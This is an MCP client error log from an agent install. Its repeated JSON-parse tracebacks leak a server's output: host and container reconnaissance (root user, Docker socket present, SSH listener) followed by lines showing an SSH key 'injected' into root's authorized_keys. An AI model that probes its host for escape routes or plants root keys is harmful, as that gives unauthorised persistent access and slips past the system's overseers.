pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "hostname": "vmi3427693",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,668 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 14 [type=json_invalid, input_value=' "in_docker": false,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,668 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 18 [type=json_invalid, input_value=' "cgroup_sample": "0::/init.scope\\n",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,668 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 17 [type=json_invalid, input_value=' "pid1_cmdline": "/usr/...em --deserialize=106 ",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,668 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 7 [type=json_invalid, input_value=' "id": "uid=0(root) gid...(root) groups=0(root)",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,668 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 11 [type=json_invalid, input_value=' "whoami": "root",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,668 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "uname -a": "Linux vmi...6_64 x86_64 GNU/Linux",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,668 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 16 [type=json_invalid, input_value=' "docker_sock": true,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,668 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 11 [type=json_invalid, input_value=' "ss_ssh": "LISTEN 0 ...emd\\",pid=1,fd=220))",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,668 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 20 [type=json_invalid, input_value=' "sshd_config_err": "Co...n-zero exit status 1.",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,669 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 20 [type=json_invalid, input_value=' "netstat_ssh_err": "Co...n-zero exit status 1.",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,669 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 25 [type=json_invalid, input_value=' "root_authorized_keys": ""', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,669 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: expected value at line 1 column 1 [type=json_invalid, input_value='}', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,843 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: EOF while parsing an object at line 1 column 1 [type=json_invalid, input_value='{', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,843 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 18 [type=json_invalid, input_value=' "has_dockerenv": false,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,843 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "hostname": "vmi3427693",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,843 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 14 [type=json_invalid, input_value=' "in_docker": false,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,844 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 18 [type=json_invalid, input_value=' "cgroup_sample": "0::/init.scope\\n",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,844 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 17 [type=json_invalid, input_value=' "pid1_cmdline": "/usr/...em --deserialize=106 ",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,844 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 7 [type=json_invalid, input_value=' "id": "uid=0(root) gid...(root) groups=0(root)",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,844 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 11 [type=json_invalid, input_value=' "whoami": "root",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,844 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "uname -a": "Linux vmi...6_64 x86_64 GNU/Linux",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,844 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 16 [type=json_invalid, input_value=' "docker_sock": true,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,844 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 11 [type=json_invalid, input_value=' "ss_ssh": "LISTEN 0 ...emd\\",pid=1,fd=220))",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,845 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 20 [type=json_invalid, input_value=' "sshd_config_err": "Co...n-zero exit status 1.",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,845 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 20 [type=json_invalid, input_value=' "netstat_ssh_err": "Co...n-zero exit status 1.",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,845 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 25 [type=json_invalid, input_value=' "root_authorized_keys": ""', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:41,845 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: expected value at line 1 column 1 [type=json_invalid, input_value='}', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:05,298 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: EOF while parsing an object at line 1 column 1 [type=json_invalid, input_value='{', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:05,299 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "injected": true,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:05,299 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 24 [type=json_invalid, input_value=' "authorized_keys_now":...iPnaA5eLNJ8P0N root\\n"', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:05,299 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: expected value at line 1 column 1 [type=json_invalid, input_value='}', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:06,552 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: EOF while parsing an object at line 1 column 1 [type=json_invalid, input_value='{', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:06,557 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "injected": "already_present",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:06,557 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 24 [type=json_invalid, input_value=' "authorized_keys_now":...iPnaA5eLNJ8P0N root\\n"', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:06,558 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 